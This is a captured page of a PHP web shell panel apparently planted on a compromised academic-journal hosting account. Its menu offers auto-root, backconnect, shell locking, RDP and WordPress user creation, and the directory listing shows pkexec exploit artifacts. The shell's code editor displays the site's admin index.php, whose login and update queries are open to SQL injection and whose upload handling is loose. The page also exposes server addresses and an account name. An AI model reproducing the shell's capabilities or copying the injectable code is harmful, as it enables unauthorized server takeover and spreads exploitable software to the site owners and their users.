Linux p3plmcpnl494236.prod.phx3.secureserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 148.72.123.208 | : 18.221.82.253
Cant Read [ /etc/named.conf ]
7.4.33
e4w04rz7jy58
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
e4w04rz7jy58 /
public_html /
madridge.org /
journals-admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
style
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
addnewsplarticle.php
2.94
KB
-rw-r--r--
displaycainfo.php
3.99
KB
-rw-r--r--
editclassificationrecord.php
1.15
KB
-rw-r--r--
error_log
207
B
-rw-r--r--
index.php
62.61
KB
-rw-r--r--
updateposition.php
2.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php session_start(); include "includes/config.php"; if(isset($_REQUEST['action'])){ $action=$_REQUEST['action']; }else{ $action="login"; } switch($action){ case 'login': include "includes/login.php"; break; case 'loginsubmission': $qry=$con->query("select * from user_registrations where username='".$_REQUEST['username']."' and password='".$_REQUEST['password']."'"); if($qry->num_rows > 0){ $res=$qry->fetch_assoc(); $_SESSION['user']=$res['username']; $_SESSION['name']=$res['name']; $_SESSION['userid']=$res['id']; $_SESSION['usertype']=$res['usertype']; header("location:index.php?action=journals"); } else{ $msg="Invalid Login"; header("location:index.php?msg=".$msg); } break; case 'journals': if(isset($_SESSION['user'])){ include "includes/journals.php"; }else{ header("location:index.php"); } break; case 'addjournal': if(isset($_SESSION['user'])){ include "includes/addeditjournal.php"; }else{ header("location:index.php"); } break; case 'editjournal': if(isset($_SESSION['user'])){ include "includes/addeditjournal.php"; }else{ header("location:index.php"); } break; case 'submitjournal': if(isset($_SESSION['user'])){ if($_POST['jid']!=""){ $con->query("update journals set title='".addslashes($_POST['title'])."',shortname='".$_POST['shortname']."',shortdesc='".addslashes($_POST['shortdesc'])."', about_journal='".addslashes($_POST['about_journal'])."',journal_link='".$_POST['journal_link']."',ISSN='".$_POST['ISSN']."',alphabet='".$_POST['alphabet']."',meta_keywords='".$_POST['meta_keywords']."',meta_description='".$_POST['meta_description']."',impact_factor='".$_POST['impact_factor']."',citation_link='".$_POST['citation_link']."',facebook='".$_POST['facebook']."',linked_in='".$_POST['linked_in']."',twitter='".$_POST['twitter']."',google_plus='".$_POST['google_plus']."' where id=".$_POST['jid']); if(isset($_FILES['citation_image']['name']) && $_FILES['citation_image']['name']!=""){ $qry=$con->query("select citation_image from journals where id=".$_POST['jid']); $res=$qry->fetch_assoc(); $ext = pathinfo($_FILES['citation_image']['name'], PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if($res['citation_image']!=""){ unlink("uploads/Citation/".$res['citation_image']); } $targetpath="jrncit".$_POST['jid'].date('s').".".$ext; if(move_uploaded_file($_FILES['citation_image']['tmp_name'], "uploads/Citation/".$targetpath)){ $con->query("update journals set citation_image='".$targetpath."' where id=".$_POST['jid']); } } } if(isset($_FILES['flyer_image']['name']) && $_FILES['flyer_image']['name']!=""){ $qry=$con->query("select flyer_image from journals where id=".$_POST['jid']); $res=$qry->fetch_assoc(); $ext = pathinfo($_FILES['flyer_image']['name'], PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if($res['flyer_image']!=""){ unlink("uploads/flyer/".$res['flyer_image']); } $targetpath="jrnfly".$_POST['jid'].date('s').".".$ext; if(move_uploaded_file($_FILES['flyer_image']['tmp_name'], "uploads/flyer/".$targetpath)){ $con->query("update journals set flyer_image='".$targetpath."' where id=".$_POST['jid']); } } } //newly added if(isset($_FILES['theme_image']['name']) && $_FILES['theme_image']['name']!=""){ $qry=$con->query("select theme_image from journals where id=".$_POST['jid']); $res=$qry->fetch_assoc(); $ext = pathinfo($_FILES['theme_image']['name'], PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if($res['theme_image']!=""){ unlink("uploads/theme/".$res['theme_image']); } $targetpath="jrnthm".$_POST['shortname'].$_POST['jid'].date('s').".".$ext; if(move_uploaded_file($_FILES['theme_image']['tmp_name'], "uploads/theme/".$targetpath)){ $con->query("update journals set theme_image='".$targetpath."' where id=".$_POST['jid']); } } } //End newly added if(isset($_FILES['journal_icon']['name']) && $_FILES['journal_icon']['name']!=""){ $qry=$con->query("select journal_icon from journals where id=".$_POST['jid']); $res=$qry->fetch_assoc(); if($res['journal_icon']!=""){ unlink("uploads/journal-home-icons/".$res['journal_icon']); } $ext = pathinfo($_FILES['journal_icon']['name'], PATHINFO_EXTENSION); $targetpath="jrniconhm".$_POST['jid'].date('s').".".$ext; if(move_uploaded_file($_FILES['journal_icon']['tmp_name'], "uploads/journal-home-icons/".$targetpath)){ $con->query("update journals set journal_icon='".$targetpath."' where id=".$_POST['jid']); } } //newly added if(isset($_POST['clid']) && count($_POST['clid']) > 0){ for($j=0;$j<count($_POST['clid']);$j++){ if($_FILES['collaboration_logo']['name'][$j]!=""){ $qry=$con->query("select logo_image from collaborations where id=".$_POST['clid'][$j]); $res=$qry->fetch_assoc(); $ext=pathinfo($_FILES['collaboration_logo']['name'][$j],PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if($res['logo_image']!=""){ unlink("uploads/collaborations/".$res['logo_image']); } if(move_uploaded_file($_FILES['collaboration_logo']['tmp_name'][$j], "uploads/collaborations/".$_FILES['collaboration_logo']['name'][$j])){ $con->query("update collaborations set logo_image='".$_FILES['collaboration_logo']['name'][$j]."',logo_link='".$_POST['logo_link'][$j]."',logo_title='".$_POST['logo_title'][$j]."' where id=".$_POST['clid'][$j]); } } }else{ $con->query("update collaborations set logo_link='".$_POST['logo_link'][$j]."',logo_title='".$_POST['logo_title'][$j]."' where id=".$_POST['clid'][$j]); } } $clidcnt=(count($_POST['clid'])-1); for($i=$clidcnt;$i<count($_FILES['collaboration_logo']['name']);$i++){ if($_FILES['collaboration_logo']['name'][$i]!=""){ $ext=pathinfo($_FILES['collaboration_logo']['name'][$i],PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if(move_uploaded_file($_FILES['collaboration_logo']['tmp_name'][$i], "uploads/collaborations/".$_FILES['collaboration_logo']['name'][$i])){ $con->query("insert into collaborations(jid,logo_image,logo_link,logo_title) values (".$_POST['jid'].",'".$_FILES['collaboration_logo']['name'][$i]."','".$_POST['logo_link'][$i]."','".$_POST['logo_title'][$i]."')"); } } } } }else{ for($i=0;$i<count($_FILES['collaboration_logo']['name']);$i++){ if($_FILES['collaboration_logo']['name'][$i]!=""){ $ext=pathinfo($_FILES['collaboration_logo']['name'][$i],PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ if(move_uploaded_file($_FILES['collaboration_logo']['tmp_name'][$i], "uploads/collaborations/".$_FILES['collaboration_logo']['name'][$i])){ $con->query("insert into collaborations(jid,logo_image,logo_link,logo_title) values (".$_POST['jid'].",'".$_FILES['collaboration_logo']['name'][$i]."','".$_POST['logo_link'][$i]."','".$_POST['logo_title'][$i]."')"); } } } } } }else{ $con->query("insert into journals(title,shortname,shortdesc,about_journal,journal_link,ISSN,alphabet,email,meta_keywords,meta_description,impact_factor,citation_link,facebook,twitter,linked_in,google_plus) values ('".addslashes($_POST['title'])."','".$_POST['shortname']."','".addslashes($_POST['shortdesc'])."','".addslashes($_POST['about_journal'])."','".$_POST['journal_link']."','".$_POST['ISSN']."','".$_POST['alphabet']."','".$_POST['email']."','".$_POST['meta_keywords']."','".$_POST['meta_description']."','".$_POST['impact_factor']."','".$_POST['citation_link']."','".$_POST['facebook']."','".$_POST['twitter']."','".$_POST['linked_in']."','".$_POST['google_plus']."')"); $recentid=mysqli_insert_id($con); if(isset($_FILES['citation_image']['name']) && $_FILES['citation_image']['name']!=""){ $ext = pathinfo($_FILES['citation_image']['name'], PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ $targetpath="jrncit".$recentid.".".$ext; if(move_uploaded_file($_FILES['citation_image']['tmp_name'], "uploads/Citation/".$targetpath)){ $con->query("update journals set citation_image='".$targetpath."' where id=".$recentid); } } } if(isset($_FILES['flyer_image']['name']) && $_FILES['flyer_image']['name']!=""){ $ext = pathinfo($_FILES['flyer_image']['name'], PATHINFO_EXTENSION); if($ext=="jpg" || $ext=="jpeg" || $ext=="png"){ $targetpath="jrnfly".$recentid.".".$ext; if(move_uploaded_file($_FILES['flyer_image']['tmp_name'], "uploads/flyer/".$targetpath)){ $con->query("update journals set flyer_image='".$targetpath."' where id=".$recentid); } } } //newly added if(isset($_FILES['theme_image']['name']) && $_FILES['theme_image']['name']!=""){ $ext = pathinfo($_FILES['theme_image']['name'], PATHINFO_EXTENSION); $targetpath="jrnthm".$_POST['shortname'].$recentid.date('s').".".$ext; if(move_uploaded_file($_FILES['theme_image']['tmp_name'], "uploads/theme/".$targetpath)){ $con->query("update journals set theme_image='".$targetpath."' where id=".$recentid); } } //end newly added if(isset($_FILES['journal_icon']['name']) && $_FILES['journal_icon']['name']!=""){ $ext = pathinfo($_FILES['journal_icon']['name'], PATHINFO_EXTENSION); $targetpath="jrniconhm".$recentid.".".$ext; if(move_uploaded_file($_FILES['journal_icon']['tmp_name'], "uploads/journal-home-icons/".$targetpath)){ $con->query("update journals set journal_icon='".$targetpath."' where id=".$recentid); } } } header("location:index.php?action=journals"); }else{ header("location:index.php"); } break; case 'classifications': if(isset($_SESSION['user'])){ include "includes/classifications.php"; }else{ header("location:index.php"); } break; case'addclassifications': if(isset($_SESSION['user'])){ include "includes/add_classifications.php"; }else{ header("location:index.php"); } break; case 'classificationsubmission': if(isset($_SESSION['user'])){ for($i=0;$i<count($_POST['classification']);$i++){ $con->query("insert into tbl_journal_classifications(journalid,classification,position) values (".$_POST['jid'].",'".$_POST['classification'][$i]."','".$_POST['position'][$i]."')"); } header("location:index.php?action=classifications&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'updateclassificationrecord': if(isset($_SESSION['user'])){ $con->query("update tbl_journal_classifications set classification='".$_POST['classification']."', position='".$_POST['position']."' where id=".$_POST['clid']); header("location:index.php?action=classifications&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'deleteclassification': if(isset($_SESSION['user'])){ $con->query("delete from tbl_journal_classifications where id=".$_GET['id']); header("location:index.php?action=classifications&jid=".$_GET['jid']); }else{ header("location:index.php"); } break; case 'editorialboard': if(isset($_SESSION['user'])){ include "includes/editorialboard.php"; }else{ header("location:index.php"); } break; case 'addeditorial': if(isset($_SESSION['user'])){ include "includes/add-edit-editorialboard.php"; }else{ header("location:index.php"); } break; case 'editeditorial': if(isset($_SESSION['user'])){ include "includes/add-edit-editorialboard.php"; }else{ header("location:index.php"); } break; case 'editorialsubmission': if(isset($_SESSION['user'])){ $uname=preg_replace("/[^a-zA-Z]/", "-", trim($_POST['name'])); $uname1=str_replace("--","-",$uname); if($_POST['eid']!=0){ $biography=($_POST['biography']=="<br>")?"":$_POST['biography']; $con->query("update editorial_board set name='".trim($_POST['name'])."',editor_type='".$_POST['editor_type']."',designation='".$_POST['designation']."',university='".$_POST['university']."', biography='".addslashes($biography)."',country='".$_POST['country']."',email='".$_POST['email']."',orderdisplay='".$_POST['orderdisplay']."',url_name='".$uname1."' where id=".$_POST['eid']); if(isset($_FILES['image']['name']) && $_FILES['image']['name']!=""){ $qry=$con->query("select image from editorial_board where id=".$_POST['eid']); $res=$qry->fetch_assoc(); if($res['image']!=""){ unlink("uploads/editorial-board/".$res['image']); } $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $targetpath="edibrd".$_POST['eid'].rand().stristr($_FILES['image']['name']," ",true).".".$ext; if(move_uploaded_file($_FILES['image']['tmp_name'], "uploads/editorial-board/".$targetpath)){ $con->query("update editorial_board set image='".$targetpath."' where id=".$_POST['eid']); } } //Certificate if(isset($_FILES['certificate']['name']) && $_FILES['certificate']['name']!=""){ $qry=$con->query("select certificate from editorial_board where id=".$_POST['eid']); $res=$qry->fetch_assoc(); if($res['certificate']!=""){ unlink("uploads/editorial-board/certificate/".$res['certificate']); } $ext = pathinfo($_FILES['certificate']['name'], PATHINFO_EXTENSION); $targetfile="editcrt".$_POST['eid'].rand().stristr($_FILES['certificate']['name']," ",true).".".$ext; if(move_uploaded_file($_FILES['certificate']['tmp_name'], "uploads/editorial-board/certificate/".$targetfile)){ $con->query("update editorial_board set certificate='".$targetfile."' where id=".$_POST['eid']); } } //Publications if(isset($_POST['epid']) && count($_POST['epid']) > 0){ for($l=0;$l<count($_POST['epid']);$l++){ $pqry=$con->query("select * from editor_publications where id=".$_POST['epid'][$l]); $pres=$pqry->fetch_assoc(); $con->query("update editor_publications set publications='".$_POST['publications'][$l]."' where id=".$_POST['epid'][$l]); } $epidcnt=(count($_POST['epid'])); for($i=$epidcnt;$i<count($_POST['publications']);$i++){ if($_POST['publications'][$i]!=""){ $con->query("insert into editor_publications(editor_id,publications) values (".$_POST['eid'].",'".$_POST['publications'][$i]."')"); } } }else{ for($i=0;$i<count($_POST['publications']);$i++){ if($_POST['publications'][$i]!="") $con->query("insert into editor_publications(editor_id,publications) values (".$_POST['eid'].",'".$_POST['publications'][$i]."')"); } } //End publications }else{ $biography=($_POST['biography']=="<br>")?"":$_POST['biography']; $con->query("insert into editorial_board(jid,name,editor_type,university,designation,biography,country,email,orderdisplay,url_name) values ('".$_POST['jid']."','".trim($_POST['name'])."','".$_POST['editor_type']."','".$_POST['university']."','".$_POST['designation']."','".addslashes($biography)."','".$_POST['country']."','".$_POST['email']."','".$_POST['orderdisplay']."','".$uname1."')"); $recentid=mysqli_insert_id($con); if(isset($_FILES['image']['name']) && $_FILES['image']['name']!=""){ $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $targetpath="edibrd".$recentid.rand().stristr($_FILES['image']['name']," ",true).".".$ext; if(move_uploaded_file($_FILES['image']['tmp_name'], "uploads/editorial-board/".$targetpath)){ $con->query("update editorial_board set image='".$targetpath."' where id=".$recentid); } } } header("location:index.php?action=editorialboard&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'deleteeditor': if(isset($_SESSION['user'])){ $qry=$con->query("select image from editorial_board where id=".$_GET['eid']); $res=$qry->fetch_assoc(); if($res['image']!=""){ unlink("uploads/editorial-board/".$res['image']); } $con->query("delete from editorial_board where id=".$_GET['eid']); header("location:index.php?action=editorialboard&jid=".$_GET['jid']); }else{ header("location:index.php"); } break; case 'submitmanuscript': if(isset($_SESSION['user'])){ include "includes/submitmanuscript.php"; }else{ header("location:index.php"); } break; case 'deletemanuscript': if(isset($_SESSION['user'])){ $qry=$con->query("select id,attachment_file from manuscript_files where mid=".$_GET['mid']); while($res=$qry->fetch_assoc()){ if($res['attachment_file']!=""){ unlink("uploads/submit-manuscript/".$res['attachment_file']); } $con->query("delete from manuscript_files where id=".$res['id']); } $con->query("delete from manuscript where id=".$_GET['mid']); if($_SESSION['user']=="admin"){ header("location:index.php?action=submitmanuscript"); }else{ header("location:index.php?action=submitmanuscript&jid=".$_GET['jid']); } }else{ header("location:index.php"); } break; case 'early-online': if(isset($_SESSION['user'])){ include "includes/earlyonline.php"; }else{ header("location:index.php"); } break; case 'addarticle': if(isset($_SESSION['user'])){ include "includes/addeditarticle.php"; }else{ header("location:index.php"); } break; case 'editearlyonline': if(isset($_SESSION['user'])){ include "includes/addeditarticle.php"; }else{ header("location:index.php"); } break; case 'elreleaseissuesub': if(isset($_SESSION['user'])){ //print_r($_POST); if(!isset($_POST['chkboxval'])){ $con->query("update early_online set volumeno='".$_POST['volumeno']."',issueno='".$_POST['issueno']."',released_year='".$_POST['released_year']."' where jid=".$_POST['jid']); header("location:index.php?action=early-online&jid=".$_POST['jid']); } if(isset($_POST['chkboxval']) && $_POST['chkboxval']=="current-issue"){ $qry=$con->query("select * from early_online where jid=".$_POST['jid']); while($res=$qry->fetch_assoc()){ $con->query("insert into current_issue(jid,author_names,article_title,article_type,volumeno,issueno,released_year,pdf_file,fulltext_filename,supplementary_data,doi,pagenumbers,date_published,position,nih_funded,pubmedno,keywords) values (".$res['jid'].",'".$res['author_names']."','".addslashes($res['article_title'])."','".$res['article_type']."','".$_POST['volumeno']."','".$_POST['issueno']."','".$_POST['released_year']."','".$res['pdf_file']."','".$res['fulltext_filename']."','".$res['supplementary_data']."','".$res['doi']."','".$res['pagenumbers']."','".$res['date_published']."','".$res['position']."','".$res['nih_funded']."',".$res['pubmedno'].",'".$res['keywords']."')"); $cuiid=mysqli_insert_id($con); $chkqry=$con->query("select * from archive where jid=".$_POST['jid']." and article_title='".addslashes($res['article_title'])."'"); if($chkqry->num_rows==0){ $con->query("insert into archive(jid,author_names,article_title,article_type,volumeno,issueno,released_year,pdf_file,fulltext_filename,supplementary_data,doi,pagenumbers,date_published,position,nih_funded,pubmedno,keywords) values (".$res['jid'].",'".$res['author_names']."','".addslashes($res['article_title'])."','".$res['article_type']."','".$_POST['volumeno']."','".$_POST['issueno']."','".$_POST['released_year']."','".$res['pdf_file']."','".$res['fulltext_filename']."','".$res['supplementary_data']."','".$res['doi']."','".$res['pagenumbers']."','".$res['date_published']."','".$res['position']."','".$res['nih_funded']."','".$res['pubmedno']."','".$res['keywords']."')"); $archiveid=mysqli_insert_id($con); $con->query("update current_issue set archid=".$archiveid." where id=".$cuiid); } } $con->query("delete from early_online where jid=".$_POST['jid']); header("location:index.php?action=early-online&jid=".$_POST['jid']); } }else{ header("location:index.php"); } break; case 'submitarticle': if(isset($_SESSION['user'])){ $pubmedcond=($_POST['nih_funded']=="yes")?(int)$_POST['pubmedno']:0; if($_POST['aid']!=""){ $con->query("update early_online set author_names='".htmlentities($_POST['author_names'])."',article_title='".addslashes($_POST['article_title'])."',article_type='".$_POST['article_type']."',fulltext_filename='".$_POST['fulltext_filename']."',doi='".$_POST['doi']."',pagenumbers='".$_POST['pagenumbers']."',date_published='".$_POST['date_published']."',position='".$_POST['position']."',nih_funded='".$_POST['nih_funded']."',pubmedno=".$pubmedcond.",keywords='".htmlentities($_POST['article_keywords'],ENT_QUOTES)."' where id=".$_POST['aid']); if(isset($_FILES['pdf_file']['name']) && $_FILES['pdf_file']['name']!=""){ $qry=$con->query("select pdf_file from early_online where id=".$_POST['aid']); $res=$qry->fetch_assoc(); if($res['pdf_file']!=""){ unlink("uploads/pdf/".$_POST['shortname']."/".$res['pdf_file']); } if(!file_exists('uploads/pdf/'.$_POST['shortname'])) { mkdir('uploads/pdf/'.$_POST['shortname'], 0777, true); } $ext = pathinfo($_FILES['pdf_file']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['pdf_file']['name']; if(move_uploaded_file($_FILES['pdf_file']['tmp_name'], "uploads/pdf/".$_POST['shortname']."/".$targetfile)){ $con->query("update early_online set pdf_file='".$targetfile."' where id=".$_POST['aid']); } } if(isset($_FILES['supplementary_data']['name']) && $_FILES['supplementary_data']['name']!=""){ $qry=$con->query("select supplementary_data from early_online where id=".$_POST['aid']); $res=$qry->fetch_assoc(); if($res['supplementary_data']!=""){ unlink("uploads/supplementary-data/".$_POST['shortname']."/".$res['supplementary_data']); } if(!file_exists('uploads/supplementary-data/'.$_POST['shortname'])) { mkdir('uploads/supplementary-data/'.$_POST['shortname'], 0777, true); } $ext = pathinfo($_FILES['supplementary_data']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['supplementary_data']['name']; if(move_uploaded_file($_FILES['supplementary_data']['tmp_name'], "uploads/supplementary-data/".$_POST['shortname']."/".$targetfile)){ $con->query("update early_online set supplementary_data='".$targetfile."' where id=".$_POST['aid']); } } $pqry=$con->query("select pdf_file,article_title from early_online where id=".$_POST['aid']); $pres=$pqry->fetch_assoc(); }else{ $con->query("insert into early_online(jid,author_names,article_title,article_type,fulltext_filename,doi,pagenumbers,date_published,position,nih_funded,pubmedno,keywords) values (".$_POST['jid'].",'".htmlentities($_POST['author_names'])."','".addslashes($_POST['article_title'])."','".$_POST['article_type']."','".$_POST['fulltext_filename']."','".$_POST['doi']."','".$_POST['pagenumbers']."','".$_POST['date_published']."','".$_POST['position']."','".$_POST['nih_funded']."',".$pubmedcond.",'".$_POST['article_keywords']."')"); $recentid=mysqli_insert_id($con); if(isset($_FILES['pdf_file']['name']) && $_FILES['pdf_file']['name']!=""){ $ext = pathinfo($_FILES['pdf_file']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['pdf_file']['name']; if(!file_exists('uploads/pdf/'.$_POST['shortname'])) { mkdir('uploads/pdf/'.$_POST['shortname'], 0777, true); } if(move_uploaded_file($_FILES['pdf_file']['tmp_name'], "uploads/pdf/".$_POST['shortname']."/".$targetfile)){ $con->query("update early_online set pdf_file='".$targetfile."' where id=".$recentid); } } if(isset($_FILES['supplementary_data']['name']) && $_FILES['supplementary_data']['name']!=""){ $ext = pathinfo($_FILES['supplementary_data']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['supplementary_data']['name']; if(!file_exists('uploads/supplementary-data/'.$_POST['shortname'])) { mkdir('uploads/supplementary-data/'.$_POST['shortname'], 0777, true); } if(move_uploaded_file($_FILES['supplementary_data']['tmp_name'], "uploads/supplementary-data/".$_POST['shortname']."/".$targetfile)){ $con->query("update early_online set supplementary_data='".$targetfile."' where id=".$recentid); } } $pqry=$con->query("select pdf_file,article_title from early_online where id=".$recentid); $pres=$pqry->fetch_assoc(); } //ca write here $uname=preg_replace("/[^a-zA-Z]/", "-", $_POST['author_name']); $uname1=str_replace("--","-",$uname); $caqry=$con->query("select ca.id,ca.profile_photo from corresponding_author ca,corresponding_author_relations car where ca.id=car.ca_id and ca.name='".htmlentities($_POST['author_name'])."'"); if($caqry->num_rows > 0){ if($_POST['author_name']!=""){ $cares=$caqry->fetch_assoc(); $con->query("update corresponding_author set name='".htmlentities($_POST['author_name'])."',gender='".$_POST['author_gender']."',designation='".$_POST['author_designation']."',university='".$_POST['author_university']."',country='".$_POST['author_country']."',biography='".htmlentities($_POST['author_biography'],ENT_QUOTES)."',url_name='".$uname1."' where id=".$cares['id']); //ca hyperlink if($_POST['aid']!="") $con->query("update early_online set ca_id=".$cares['id']." where id=".$_POST['aid']); else if(isset($recentid) && $recentid!="") $con->query("update early_online set ca_id=".$cares['id']." where id=".$recentid); //ca hyperlink $carqry=$con->query("select * from corresponding_author_relations where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); if($carqry->num_rows == 0){ $con->query("insert into corresponding_author_relations (ca_id,pdf_file,article_title,jid) values(".$cares['id'].",'".$pres['pdf_file']."','".$pres['article_title']."',".$_GET['jid'].")"); }else{ $con->query("update corresponding_author_relations set ca_id=".$cares['id'].", article_title='".$pres['article_title']."' where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); } if($_FILES['author_img']['name']!=""){ if($cares['profile_photo']!=""){ unlink("uploads/cauthors/".$cares['profile_photo']); } $ext=pathinfo($_FILES['author_img']['name'], PATHINFO_EXTENSION); $targetfile="cauth_".$cares['id'].rand(10,999).date('s').".".$ext; if(move_uploaded_file($_FILES['author_img']['tmp_name'],"uploads/cauthors/".$targetfile)) $con->query("update corresponding_author set profile_photo='".$targetfile."' where id=".$cares['id']); } } }else{ if($_POST['author_name']!=""){ $con->query("insert into corresponding_author(name,gender,designation,university,country,biography,url_name) values ('".htmlentities($_POST['author_name'])."','".$_POST['author_gender']."','".$_POST['author_designation']."','".$_POST['author_university']."','".$_POST['author_country']."','".htmlentities($_POST['author_biography'],ENT_QUOTES)."','".$uname1."')"); $recentid1=mysqli_insert_id($con); //ca hyperlink if($_POST['aid']!="") $con->query("update early_online set ca_id=".$recentid1." where id=".$_POST['aid']); else if(isset($recentid) && $recentid!="") $con->query("update early_online set ca_id=".$recentid1." where id=".$recentid); //ca hyperlink $carqry=$con->query("select * from corresponding_author_relations where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); if($carqry->num_rows == 0){ $con->query("insert into corresponding_author_relations (ca_id,pdf_file,article_title,jid) values(".$recentid1.",'".$pres['pdf_file']."','".$pres['article_title']."',".$_GET['jid'].")"); } if($_FILES['author_img']['name']!=""){ $ext=pathinfo($_FILES['author_img']['name'], PATHINFO_EXTENSION); $targetfile="cauth_".$cares['id'].rand(10,999).date('s').".".$ext; if(move_uploaded_file($_FILES['author_img']['tmp_name'],"uploads/cauthors/".$targetfile)) $con->query("update corresponding_author set profile_photo='".$targetfile."' where id=".$recentid1); } } } //End here header("location:index.php?action=early-online&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'submitcurrentissue': case 'submitpreviousissue': case 'submitarchive': if(isset($_SESSION['user'])){ $table=$_POST['tablename']; $redirect=$_POST['redirect']; $pubmedcond=($_POST['nih_funded']=="yes")?(int)$_POST['pubmedno']:0; $con->query("update ".$table." set author_names='".htmlentities($_POST['author_names'])."',article_title='".addslashes($_POST['article_title'])."',article_type='".$_POST['article_type']."',volumeno='".$_POST['volumeno']."',issueno='".$_POST['issueno']."',released_year='".$_POST['released_year']."',fulltext_filename='".$_POST['fulltext_filename']."',doi='".$_POST['doi']."',pagenumbers='".$_POST['pagenumbers']."',date_published='".$_POST['date_published']."',position='".$_POST['position']."',nih_funded='".$_POST['nih_funded']."',pubmedno=".$pubmedcond.",keywords='".htmlentities($_POST['article_keywords'],ENT_QUOTES)."' where id=".$_POST['aid']); if(isset($_FILES['pdf_file']['name']) && $_FILES['pdf_file']['name']!=""){ $qry=$con->query("select pdf_file from ".$table." where id=".$_POST['aid']); $res=$qry->fetch_assoc(); if($res['pdf_file']!=""){ unlink("uploads/pdf/".$_POST['shortname']."/".$res['pdf_file']); } $ext = pathinfo($_FILES['pdf_file']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['pdf_file']['name']; if(move_uploaded_file($_FILES['pdf_file']['tmp_name'], "uploads/pdf/".$_POST['shortname']."/".$targetfile)){ $con->query("update ".$table." set pdf_file='".$targetfile."' where id=".$_POST['aid']); } } if(isset($_FILES['supplementary_data']['name']) && $_FILES['supplementary_data']['name']!=""){ $qry=$con->query("select supplementary_data from ".$table." where id=".$_POST['aid']); $res=$qry->fetch_assoc(); if($res['supplementary_data']!=""){ unlink("uploads/supplementary-data/".$_POST['shortname']."/".$res['supplementary_data']); } if(!file_exists('uploads/supplementary-data/'.$_POST['shortname'])) { mkdir('uploads/supplementary-data/'.$_POST['shortname'], 0777, true); } $ext = pathinfo($_FILES['supplementary_data']['name'], PATHINFO_EXTENSION); $targetfile=$_FILES['supplementary_data']['name']; if(move_uploaded_file($_FILES['supplementary_data']['tmp_name'], "uploads/supplementary-data/".$_POST['shortname']."/".$targetfile)){ $con->query("update ".$table." set supplementary_data='".$targetfile."' where id=".$_POST['aid']); } } //archive table update //if($_POST['action']=="submitcurrentissue" || $_POST['action']=="submitpreviousissue"){ $con->query("update archive set author_names='".htmlentities($_POST['author_names'])."',article_title='".addslashes($_POST['article_title'])."',article_type='".$_POST['article_type']."',volumeno='".$_POST['volumeno']."',issueno='".$_POST['issueno']."',released_year='".$_POST['released_year']."',fulltext_filename='".$_POST['fulltext_filename']."',doi='".$_POST['doi']."',pagenumbers='".$_POST['pagenumbers']."',date_published='".$_POST['date_published']."',position='".$_POST['position']."',nih_funded='".$_POST['nih_funded']."',pubmedno=".$pubmedcond.",keywords='".$_POST['article_keywords']."' where id=".$_POST['archid']); //} //ca write here $pqry=$con->query("select pdf_file,article_title from ".$table." where id=".$_POST['aid']); $pres=$pqry->fetch_assoc(); $uname=preg_replace("/[^a-zA-Z]/", "-", $_POST['author_name']); $uname1=str_replace("--","-",$uname); $caqry=$con->query("select ca.id,ca.profile_photo,car.pdf_file from corresponding_author ca,corresponding_author_relations car where ca.id=car.ca_id and ca.name='".htmlentities($_POST['author_name'])."'"); if($caqry->num_rows > 0){ if($_POST['author_name']!=""){ $cares=$caqry->fetch_assoc(); $con->query("update corresponding_author set name='".htmlentities($_POST['author_name'])."',gender='".$_POST['author_gender']."',designation='".$_POST['author_designation']."',university='".$_POST['author_university']."',country='".$_POST['author_country']."',biography='".htmlentities($_POST['author_biography'],ENT_QUOTES)."',url_name='".$uname1."' where id=".$cares['id']); //ca hyperlink $con->query("update ".$table." set ca_id=".$cares['id']." where id=".$_POST['aid']); //if($_POST['action']=="submitcurrentissue" || $_POST['action']=="submitpreviousissue"){ $con->query("update archive set ca_id=".$cares['id']." where id=".$_POST['archid']); // } //ca hyperlink $carqry=$con->query("select * from corresponding_author_relations where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); if($carqry->num_rows == 0){ $con->query("insert into corresponding_author_relations(ca_id,pdf_file,article_title,jid) values(".$cares['id'].",'".$pres['pdf_file']."','".$pres['article_title']."',".$_GET['jid'].")"); }else{ $con->query("update corresponding_author_relations set ca_id=".$cares['id'].", article_title='".$pres['article_title']."' where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); } if($_FILES['author_img']['name']!=""){ if($cares['profile_photo']!=""){ unlink("uploads/cauthors/".$cares['profile_photo']); } 